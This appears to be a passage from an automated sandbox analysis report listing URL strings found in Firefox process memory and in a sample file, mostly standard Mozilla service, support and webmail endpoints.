Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comresource://gre/modules/reader/ReaderWorker.sys.mjs
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com.downloadAlwaysOpenSimilarFilesMenuItemresource://gre/modules/Async
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043317383.00000270D7D21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6CBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%schrome://extensions/content/schemas/manifest.json
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%sCan
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031269537.00000270C9BD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggesthttps://www.msn.com
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6CB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandling
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comprofilerRecordingButtonCreatedMOZ_BROWSER_TOOLBOX_BINARYisPopupFeatureFl
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6CB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/setBlockedSponsorsMetrics
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/setBlockedSponsorsMetricsFORCE_PRIVATE_BROWSING_WINDOW
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.js
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.jsWeb
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001E.00000002.3108461657.00000270E4380000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_ke
Source: firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC74B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user_downloadDocument/
Source: firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001E.00000002.3060815323.00000270DADB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001E.00000003.3016349963.00000270DCBE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2994507601.00000270DCBE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpInternalTestingProfi
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3089496928.00000270DDC8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesPanelUI._onNotificationButt
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2998160641.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E40A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
